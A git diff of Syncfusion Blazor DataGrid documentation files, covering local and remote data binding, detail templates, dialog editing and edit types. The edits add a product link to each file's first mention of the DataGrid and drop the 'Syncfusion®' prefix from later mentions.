-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides straightforward methods to bind and display data that is available within your Blazor application's memory. This is particularly useful for scenarios involving static datasets, pre-loaded information, or data that does not require server-side operations for common Grid features.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) provides straightforward methods to bind and display data that is available within your Blazor application's memory. This is particularly useful for scenarios involving static datasets, pre-loaded information, or data that does not require server-side operations for common Grid features.
 
 Local data can be bound by assigning an **IEnumerable collection**—such as `List<T>,` `ObservableCollection<T>`, or collections of `ExpandoObject`, `DynamicObject`, or `DataTable`—directly to the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_DataSource) property of the Grid. 
 
@@ -85,7 +85,7 @@ public class OrderDetails
 
 ## List binding
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports binding to in-memory data sources such as List<T> or IEnumerable<T>. This approach is commonly used when working with data that is already available in the application, without requiring external data services or APIs.
+The Blazor DataGrid supports binding to in-memory data sources such as List<T> or IEnumerable<T>. This approach is commonly used when working with data that is already available in the application, without requiring external data services or APIs.
 
 **List binding is suitable for scenarios such as**:
 
@@ -179,7 +179,7 @@ public class OrderDetails
 
 ### ExpandoObject binding
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid is a strongly-typed generic component that typically binds to a predefined data model. However, in scenarios where the structure of the data is not known at compile time—such as metadata-driven applications or dynamic user-generated content—the Grid can be bound to a collection of [ExpandoObject](https://learn.microsoft.com/en-us/dotnet/api/system.dynamic.expandoobject?view=net-9.0) instances.
+The Blazor DataGrid is a strongly-typed generic component that typically binds to a predefined data model. However, in scenarios where the structure of the data is not known at compile time—such as metadata-driven applications or dynamic user-generated content—the Grid can be bound to a collection of [ExpandoObject](https://learn.microsoft.com/en-us/dotnet/api/system.dynamic.expandoobject?view=net-9.0) instances.
 
 This approach allows dynamic rendering of both data and columns, making it possible to work with flexible or evolving data structures.
 
@@ -254,7 +254,7 @@ Please find the sample in this [GitHub location](https://github.com/SyncfusionEx
 
 ### ExpandoObject complex data binding
 
-When working with complex or nested data structures using [ExpandoObject](https://learn.microsoft.com/en-us/dotnet/api/system.dynamic.expandoobject?view=net-9.0), the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows binding of nested fields using dot (.) notation. This is helpful when **ExpandoObject** contains sub-objects or hierarchical data, and specific properties of those nested objects need display in individual Grid columns.
+When working with complex or nested data structures using [ExpandoObject](https://learn.microsoft.com/en-us/dotnet/api/system.dynamic.expandoobject?view=net-9.0), the Blazor DataGrid allows binding of nested fields using dot (.) notation. This is helpful when **ExpandoObject** contains sub-objects or hierarchical data, and specific properties of those nested objects need display in individual Grid columns.
 
 In this sample, **CustomerID.Name** and **ShipCountry.Country** represent nested fields from the underlying dynamic object, and they are individually bound to display in their respective columns:
 
@@ -320,7 +320,7 @@ Please find the sample in this [GitHub location](https://github.com/SyncfusionEx
 
 ### DynamicObject binding
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid is primarily designed to work with strongly-typed models. However, in advanced scenarios where the structure of the data is determined at runtime—such as metadata-driven layouts or integration with dynamic data sources—the Grid can be bound to a collection of objects derived from [.NET's DynamicObject](https://learn.microsoft.com/en-us/dotnet/api/system.dynamic.dynamicobject).
+The Blazor DataGrid is primarily designed to work with strongly-typed models. However, in advanced scenarios where the structure of the data is determined at runtime—such as metadata-driven layouts or integration with dynamic data sources—the Grid can be bound to a collection of objects derived from [.NET's DynamicObject](https://learn.microsoft.com/en-us/dotnet/api/system.dynamic.dynamicobject).
 
 This binding approach provides flexibility for rendering data and columns dynamically, without requiring predefined class structures.
 
@@ -416,7 +416,7 @@ Please find the sample in this [GitHub location](https://github.com/SyncfusionEx
 
 ### DynamicObject complex data binding
 
-When working with complex or nested data structures using [DynamicObject](https://learn.microsoft.com/en-us/dotnet/api/system.dynamic.dynamicobject), the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows binding of nested fields using dot (.) notation. This is helpful when **DynamicObject** contains sub-objects or hierarchical data, and specific properties of those nested objects need display in individual Grid columns.
+When working with complex or nested data structures using [DynamicObject](https://learn.microsoft.com/en-us/dotnet/api/system.dynamic.dynamicobject), the Blazor DataGrid allows binding of nested fields using dot (.) notation. This is helpful when **DynamicObject** contains sub-objects or hierarchical data, and specific properties of those nested objects need display in individual Grid columns.
 
 In this sample, **CustomerID.Name** and **ShipCountry.Country** represent nested fields from the underlying dynamic object, and they are individually bound to display in their respective columns:
 
@@ -503,7 +503,7 @@ Please find the sample in this [GitHub location](https://github.com/SyncfusionEx
 
 ### DataTable binding
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports binding data from a `System.Data.DataTable` using a custom adaptor, enabling dynamic generation of rows and columns based on backend data. This approach is useful for scenarios where data is retrieved or processed in a DataTable format, and it provides full support for built-in data operations like paging, filtering, sorting, and searching. 
+The Blazor DataGrid supports binding data from a `System.Data.DataTable` using a custom adaptor, enabling dynamic generation of rows and columns based on backend data. This approach is useful for scenarios where data is retrieved or processed in a DataTable format, and it provides full support for built-in data operations like paging, filtering, sorting, and searching. 
 
 To bind a **DataTable** to Grid, set `TValue` to **ExpandoObject**, convert it into an **IQueryable&lt;ExpandoObject&gt;** collection, and supply it through a custom adaptor that extends DataAdaptor.
 
@@ -648,7 +648,7 @@ Perform data operations like searching, sorting, and filtering using the **Perfo
 
 **Grouping and Aggregates with DataTable:**
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports dynamic **grouping** and **aggregates** even when bound to a `DataTable` via a custom adaptor. This allows grouping of rows by one or more columns and application of aggregate functions (such as **Sum**, **Average**, **Count**, etc.) on those groups or entire datasets.
+The Blazor DataGrid supports dynamic **grouping** and **aggregates** even when bound to a `DataTable` via a custom adaptor. This allows grouping of rows by one or more columns and application of aggregate functions (such as **Sum**, **Average**, **Count**, etc.) on those groups or entire datasets.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -795,7 +795,7 @@ The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports dy
 
 **DataTable with CRUD operations**
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports CRUD (Create, Read, Update, and Delete) operations with a DataTable using a custom adaptor. Enable editing in the Grid and override specific methods of the [DataAdaptor](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataAdaptor.html) base class to update **DataTable** in memory.
+The Blazor DataGrid supports CRUD (Create, Read, Update, and Delete) operations with a DataTable using a custom adaptor. Enable editing in the Grid and override specific methods of the [DataAdaptor](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DataAdaptor.html) base class to update **DataTable** in memory.
 
 **The supported methods are:**
 
@@ -1024,7 +1024,7 @@ Please find the sample in this [GitHub location](https://github.com/SyncfusionEx
 
 ## Managing spinner visibility during data loading
 
-Showing a spinner during data loading in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid enhances the UX by providing a visual indication of the loading progress. This feature helps to understand that data is being fetched or processed.
+Showing a spinner during data loading in the Blazor DataGrid enhances the UX by providing a visual indication of the loading progress. This feature helps to understand that data is being fetched or processed.
 
 To show or hide a spinner during data loading in the Grid, utilize the [ShowSpinnerAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ShowSpinnerAsync) and [HideSpinnerAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_HideSpinnerAsync) methods provided by the Grid.
 
@@ -1117,7 +1117,7 @@ public class OrderData
 
 ## Change datasource dynamically
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows changing the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_DataSource) of the Grid dynamically through an external button. This feature is useful to display different sets of data based on specific actions.
+The Blazor DataGrid allows changing the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_DataSource) of the Grid dynamically through an external button. This feature is useful to display different sets of data based on specific actions.
 
 To implement this:
 
@@ -1214,9 +1214,9 @@ public class OrderData
 
 ## Data binding with SignalR 
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides support for real-time data binding using SignalR, allowing update of the Grid automatically as data changes on the server-side. This feature is particularly useful for applications requiring live updates and synchronization across multiple clients.
+The Blazor DataGrid provides support for real-time data binding using SignalR, allowing update of the Grid automatically as data changes on the server-side. This feature is particularly useful for applications requiring live updates and synchronization across multiple clients.
 
-To achieve real-time data binding with SignalR in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid, follow the steps:
+To achieve real-time data binding with SignalR in the Blazor DataGrid, follow the steps:
 
 **Step 1:** Install the SignalR server package:
 
@@ -1259,7 +1259,7 @@ app.Run();
 
 ```
 
-**Step 4:** Create a simple Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid by following the [Getting Started](https://blazor.syncfusion.com/documentation/datagrid/getting-started-with-web-app) documentation link.
+**Step 4:** Create a simple Blazor DataGrid by following the [Getting Started](https://blazor.syncfusion.com/documentation/datagrid/getting-started-with-web-app) documentation link.
 
 **Step 5:** Create a **Data** folder and add Data Controller (**OrderDetails.cs**) in your project to handle CRUD operations for the Grid: 
 
@@ -1430,7 +1430,7 @@ Please find the sample in this [GitHub location](https://github.com/SyncfusionEx
 
 ## Binding data from Excel document
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows import of data from Excel documents into your web application for display and manipulation within the Grid. This feature streamlines the process of transferring Excel data to a web-based environment. Achieve this by using the [ValueChange](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Inputs.UploaderEvents.html#Syncfusion_Blazor_Inputs_UploaderEvents_ValueChange) event of the [SfFileUploader](https://blazor.syncfusion.com/documentation/file-upload/getting-started-with-web-app).
+The Blazor DataGrid allows import of data from Excel documents into your web application for display and manipulation within the Grid. This feature streamlines the process of transferring Excel data to a web-based environment. Achieve this by using the [ValueChange](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Inputs.UploaderEvents.html#Syncfusion_Blazor_Inputs_UploaderEvents_ValueChange) event of the [SfFileUploader](https://blazor.syncfusion.com/documentation/file-upload/getting-started-with-web-app).
 
 To import Excel data into Grid:
 
@@ -1752,7 +1752,7 @@ N> * The Grid automatically reflects changes when records are added, removed, or
 
 ### Add a range of items into ObservableCollection in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports binding to an ObservableCollection, which allows the Grid to automatically reflect changes made to the data source. This approach is particularly useful when you need to add a large batch of records to the Grid at once, such as:
+The Blazor DataGrid supports binding to an ObservableCollection, which allows the Grid to automatically reflect changes made to the data source. This approach is particularly useful when you need to add a large batch of records to the Grid at once, such as:
 
   * Loading or importing a large dataset dynamically.
 
diff --git a/blazor/datagrid/data-binding/remote-data.md b/blazor/datagrid/data-binding/remote-data.md
index 7e78911d11..1261a7ab05 100644
--- a/blazor/datagrid/data-binding/remote-data.md
+++ b/blazor/datagrid/data-binding/remote-data.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Remote Data in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports remote data binding for seamless interaction with external services such as **OData**, **Web API**, **RESTful endpoints**, or **GraphQL**. Remote data binding is configured using [SfDataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) by specifying the service endpoint and adaptor type.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports remote data binding for seamless interaction with external services such as **OData**, **Web API**, **RESTful endpoints**, or **GraphQL**. Remote data binding is configured using [SfDataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) by specifying the service endpoint and adaptor type.
 
 To configure remote data binding:
 
@@ -51,7 +51,7 @@ To configure remote data binding:
 
 ## Binding with OData services
 
-[OData](https://www.odata.org/documentation/) (Open Data Protocol) is a standardized protocol that simplifies data sharing across different systems by enabling querying and updating data through RESTful APIs. The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides built-in support for **OData v3** and **v4** services using [DataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html).
+[OData](https://www.odata.org/documentation/) (Open Data Protocol) is a standardized protocol that simplifies data sharing across different systems by enabling querying and updating data through RESTful APIs. The Blazor DataGrid provides built-in support for **OData v3** and **v4** services using [DataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html).
 
 The `DataManager` communicates with the remote OData service using either [ODataAdaptor](https://blazor.syncfusion.com/documentation/data/adaptors#odata-adaptor) or [ODataV4Adaptor](https://blazor.syncfusion.com/documentation/datagrid/connecting-to-adaptors/odatav4-adaptor), depending on the protocol version.
 
@@ -92,7 +92,7 @@ The `DataManager` communicates with the remote OData service using either [OData
 
 ## Enable SfDataManager after initial rendering
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can defer remote loading by rendering the grid with an empty data source initially and adding [SfDataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) only after a condition is met. When `SfDataManager` is rendered, the grid automatically requests data from the configured remote endpoint using the specified adaptor.
+The Blazor DataGrid can defer remote loading by rendering the grid with an empty data source initially and adding [SfDataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) only after a condition is met. When `SfDataManager` is rendered, the grid automatically requests data from the configured remote endpoint using the specified adaptor.
 
 To implement this behavior:
 
@@ -239,7 +239,7 @@ To achieve this, configure the [Headers](https://help.syncfusion.com/cr/blazor/S
 
 ## Dynamically change query parameter values
 
-The [Query](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.Query.html) property of the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows dynamic modification of data requests sent to remote services. This property can be updated at runtime to filter, sort, or customize the data retrieved from the server. Changing the query dynamically is useful for scenarios where data needs to be refreshed based on application events.
+The [Query](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.Query.html) property of the Blazor DataGrid allows dynamic modification of data requests sent to remote services. This property can be updated at runtime to filter, sort, or customize the data retrieved from the server. Changing the query dynamically is useful for scenarios where data needs to be refreshed based on application events.
 
 The example demonstrates modifying the query parameter dynamically. Initially, the grid displays orders where **CustomerID** equals **VINET**. When the **Modify Query Data** button is clicked, the grid updates to show orders where **CustomerID** equals **HANAR**.
 
@@ -344,7 +344,7 @@ A complete sample is available on [Github](https://github.com/SyncfusionExamples
 
 ## Fetch result from the DataManager query using external button
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can be populated with data fetched on demand from a remote endpoint. An external button can trigger an HTTP request and assign the returned collection to the grid’s [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_DataSource) property. This approach provides control over when data is loaded and is suitable for scenarios where data retrieval should be deferred until a specific event occurs.
+The Blazor DataGrid can be populated with data fetched on demand from a remote endpoint. An external button can trigger an HTTP request and assign the returned collection to the grid’s [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_DataSource) property. This approach provides control over when data is loaded and is suitable for scenarios where data retrieval should be deferred until a specific event occurs.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
diff --git a/blazor/datagrid/detail-template.md b/blazor/datagrid/detail-template.md
index 0e4f686f7a..0249106b6d 100644
--- a/blazor/datagrid/detail-template.md
+++ b/blazor/datagrid/detail-template.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Detail Template in Blazor DataGrid
 
-The detail template in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid displays expandable sections for each row to show additional, context-specific information. This is useful when rows contain nested or supplementary data that would otherwise clutter the main grid view. Define the template using the [DetailTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridTemplates.html#Syncfusion_Blazor_Grids_GridTemplates_DetailTemplate) property, which supports any HTML content, Syncfusion<sup style="font-size:70%">&reg;</sup> components, or custom Blazor components.
+The detail template in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) displays expandable sections for each row to show additional, context-specific information. This is useful when rows contain nested or supplementary data that would otherwise clutter the main grid view. Define the template using the [DetailTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridTemplates.html#Syncfusion_Blazor_Grids_GridTemplates_DetailTemplate) property, which supports any HTML content, Syncfusion<sup style="font-size:70%">&reg;</sup> components, or custom Blazor components.
 
 > Review the [templates](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridTemplates.html#Syncfusion_Blazor_Grids_GridTemplates) topic before adding a detail template to configure required settings.
 
@@ -174,7 +174,7 @@ public static List<EmployeeData> Employees = new List<EmployeeData>();
 
 ## Expand detail DataGrid initially
 
-Expanding detail rows by default in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid is useful when immediate visibility into related data is required on initial load.
+Expanding detail rows by default in the Blazor DataGrid is useful when immediate visibility into related data is required on initial load.
 
 Use the [ExpandCollapseDetailRowAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ExpandCollapseDetailRowAsync_System_String_System_Object_) method during the [DataBound](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_DataBound) event to expand a specific row by field and value.
 
@@ -301,7 +301,7 @@ public class OrderData
 
 ## Creating custom component/Hierarchical DataGrid 
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid can render custom components inside the detail row. This enables adding additional information or functionality for a specific row. A hierarchical structure can be created by nesting grids inside the detail row of the parent grid.
+The Blazor DataGrid can render custom components inside the detail row. This enables adding additional information or functionality for a specific row. A hierarchical structure can be created by nesting grids inside the detail row of the parent grid.
 
 To render a custom component or build a hierarchical grid inside the detail row, define the template in the [DetailTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridTemplates.html#Syncfusion_Blazor_Grids_GridTemplates_DetailTemplate) within the `GridTemplates` section. The hierarchical DataGrid displays data in expandable or collapsible levels using the expand or collapse button, or custom content such as HTML elements.
 
@@ -468,11 +468,11 @@ public class CustomerDetails
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/LjLoDoUtUlcPEWyj?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
 
-> The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid does not include built-in hierarchical support. Use the detail template to create multi-level hierarchical layouts, as shown in the example.
+> The Blazor DataGrid does not include built-in hierarchical support. Use the detail template to create multi-level hierarchical layouts, as shown in the example.
 
 ## Template column in detail DataGrid
 
-A template column in a detail grid within the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid is useful for customizing the appearance and behavior of specific columns. It enables the inclusion of interactive elements, custom formatting, or complex data representations within the detail grid.
+A template column in a detail grid within the Blazor DataGrid is useful for customizing the appearance and behavior of specific columns. It enables the inclusion of interactive elements, custom formatting, or complex data representations within the detail grid.
 
 Use the `Template` property of a column to display custom content instead of the field value.
 
@@ -1210,7 +1210,7 @@ public static List<EmployeeData> Employees = new List<EmployeeData>();
 
 ## How to access the child component in the detail template
 
-Using the detail template feature of the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid, a grid-like structure with hierarchical binding can be achieved by rendering a grid inside the DetailTemplate. By default, the @ref property of the grid is of type SfGrid<T>, which carries a single grid instance. For a hierarchy, each child grid requires a separate reference. Define the @ref using a dictionary of key–value pairs, where values are SfGrid<T> instances and keys are unique.
+Using the detail template feature of the Blazor DataGrid, a grid-like structure with hierarchical binding can be achieved by rendering a grid inside the DetailTemplate. By default, the @ref property of the grid is of type SfGrid<T>, which carries a single grid instance. For a hierarchy, each child grid requires a separate reference. Define the @ref using a dictionary of key–value pairs, where values are SfGrid<T> instances and keys are unique.
 
 In the following sample, the instance of a specific child grid is retrieved using the unique key value passed to the [OnToolbarClick](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_OnToolbarClick) event. The selected record details are then obtained using [GetSelectedRecordsAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_GetSelectedRecordsAsync) on that child grid:
 
@@ -1415,7 +1415,7 @@ public static List<EmployeeData> Employees = new List<EmployeeData>();
 
 ## Hide the expand/collapse icon in parent row when no record in detail DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports hiding the expand/collapse icon in parent rows when no records exist in the detail grid. This creates a cleaner and more intuitive interface by removing unnecessary icons from empty parent rows.
+The Blazor DataGrid supports hiding the expand/collapse icon in parent rows when no records exist in the detail grid. This creates a cleaner and more intuitive interface by removing unnecessary icons from empty parent rows.
 
 Use the [RowDataBound](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_RowDataBound) event to check whether the detail grid has records for the current row and add a custom class to disable and hide the icon. Apply the following CSS to prevent interaction and hide the icon:
 
@@ -1719,7 +1719,7 @@ public class OrderData
 
 ## Customize the detail Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid offers multiple ways to customize the detail grid appearance using CSS or themes. Target detail grid elements with the `.e-detailcell` class selector.
+The Blazor DataGrid offers multiple ways to customize the detail grid appearance using CSS or themes. Target detail grid elements with the `.e-detailcell` class selector.
 
 ### Header
 
diff --git a/blazor/datagrid/dialog-editing.md b/blazor/datagrid/dialog-editing.md
index 41d6bed112..676f155ef7 100644
--- a/blazor/datagrid/dialog-editing.md
+++ b/blazor/datagrid/dialog-editing.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Dialog editing in Blazor DataGrid
 
-Dialog editing in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid enables editing of data in the selected row using a dialog window. This feature facilitates quick modification of cell values and updates the data source without navigating to a separate page or view. Dialog editing is particularly effective for scenarios requiring streamlined editing of multiple cells.
+Dialog editing in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) enables editing of data in the selected row using a dialog window. This feature facilitates quick modification of cell values and updates the data source without navigating to a separate page or view. Dialog editing is particularly effective for scenarios requiring streamlined editing of multiple cells.
 
 To enable dialog editing, set the [GridEditSettings.Mode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html#Syncfusion_Blazor_Grids_GridEditSettings_Mode) property to **Dialog**. This property defines the editing mode for the DataGrid.
 
@@ -79,7 +79,7 @@ public class OrderDetails
 
 ## Customize the edit dialog
 
-The edit dialog in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports customization of its appearance and behavior based on the action being performed, such as editing or adding a record. Properties such as header text, close icon visibility, and dialog height can be modified to align with specific application requirements.
+The edit dialog in the Blazor DataGrid supports customization of its appearance and behavior based on the action being performed, such as editing or adding a record. Properties such as header text, close icon visibility, and dialog height can be modified to align with specific application requirements.
 
 To customize the edit dialog, use the [HeaderTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html#Syncfusion_Blazor_Grids_GridEditSettings_HeaderTemplate) and [FooterTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html#Syncfusion_Blazor_Grids_GridEditSettings_FooterTemplate) properties of [GridEditSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html).
 
@@ -176,11 +176,11 @@ public class OrderDetails
 {% previewsample "https://blazorplayground.syncfusion.com/embed/VDVyZWjvKbTMIaIU?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
 
 > * The DataGrid add or edit dialog element includes a max-height property, which is calculated based on the available window height. In a standard window size of **1920×1080** pixels, the dialog height can be set up to **658px**.
-> * Refer to the [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) feature tour for a broad overview. Explore the [Blazor DataGrid example](https://blazor.syncfusion.com/demos/datagrid/overview?theme=bootstrap5) to understand data presentation and manipulation.
+> * Refer to the Blazor DataGrid feature tour for a broad overview. Explore the [Blazor DataGrid example](https://blazor.syncfusion.com/demos/datagrid/overview?theme=bootstrap5) to understand data presentation and manipulation.
 
 ## Show or hide columns in dialog editing
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides the ability to dynamically show or hide columns during dialog editing. This feature enables conditional column visibility based on the editing context, such as when adding a new record or modifying an existing one.
+The Blazor DataGrid provides the ability to dynamically show or hide columns during dialog editing. This feature enables conditional column visibility based on the editing context, such as when adding a new record or modifying an existing one.
 To implement this behavior, use the following Grid events:
 
 1. [RowCreating](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_RowCreating): Triggered before a new record is added.
@@ -317,7 +317,7 @@ public class OrderDetails
 
 ## Use wizard-like dialog editing
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports wizard-like dialog editing, enabling structured, step-by-step form layouts. This approach facilitates segmented data entry by dividing complex forms into manageable sections.
+The Blazor DataGrid supports wizard-like dialog editing, enabling structured, step-by-step form layouts. This approach facilitates segmented data entry by dividing complex forms into manageable sections.
 
 To configure wizard-like dialog editing, enable the template feature by setting the [GridEditSettings.Mode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html#Syncfusion_Blazor_Grids_GridEditSettings_Mode) property to **Dialog** and assigning a value to the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html#Syncfusion_Blazor_Grids_GridEditSettings_Template) property of [GridEditSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html). The template defines the editors and layout for each step in the wizard.
 
@@ -549,7 +549,7 @@ public class OrderDetails
 
 ## Customize add/edit dialog footer
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports customization of the footer section in the add/edit dialog. By default, the dialog displays two buttons in the footer: **Save** and **Cancel**, which perform save and discard operations respectively.
+The Blazor DataGrid supports customization of the footer section in the add/edit dialog. By default, the dialog displays two buttons in the footer: **Save** and **Cancel**, which perform save and discard operations respectively.
 
 Custom buttons, specific actions, or visual modifications such as color and size adjustments can be implemented using the [FooterTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html#Syncfusion_Blazor_Grids_GridEditSettings_FooterTemplate) property of the [GridEditSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEditSettings.html). This property allows definition of a custom footer layout for the dialog.
 
@@ -634,7 +634,7 @@ public class OrderDetails
 
 ## Implement calculated column inside Blazor DataGrid dialog editing
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports automatic column value updates based on changes made to related columns during dialog editing. This functionality enables dynamic calculations within the edit form using the **Dialog Template** feature.
+The Blazor DataGrid supports automatic column value updates based on changes made to related columns during dialog editing. This functionality enables dynamic calculations within the edit form using the **Dialog Template** feature.
 
 In the following example, the [SfNumericTextBox](https://blazor.syncfusion.com/documentation/numeric-textbox/getting-started) component is rendered inside the dialog edit form. The **Total** column value is calculated based on the **Price** and **Quantity** columns using the [ValueChange](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Inputs.NumericTextBoxEvents-1.html#Syncfusion_Blazor_Inputs_NumericTextBoxEvents_1_ValueChange) event. 
 
diff --git a/blazor/datagrid/edit-types.md b/blazor/datagrid/edit-types.md
index d9afaa35a4..7f874825c6 100644
--- a/blazor/datagrid/edit-types.md
+++ b/blazor/datagrid/edit-types.md
@@ -9,11 +9,11 @@ documentation: ug
 
 # Edit Types in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports multiple edit types that allow customization of the editing behavior for individual columns. These edit types improve data entry efficiency and provide flexibility for handling various data types.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports multiple edit types that allow customization of the editing behavior for individual columns. These edit types improve data entry efficiency and provide flexibility for handling various data types.
 
 ## Default cell edit type editor
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides built-in editors to streamline data editing and input handling within the grid. These editors automatically apply based on the column's data type, reducing the need for manual configuration. The [EditType](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.EditType.html) property can be used to specify the desired editor for each column.
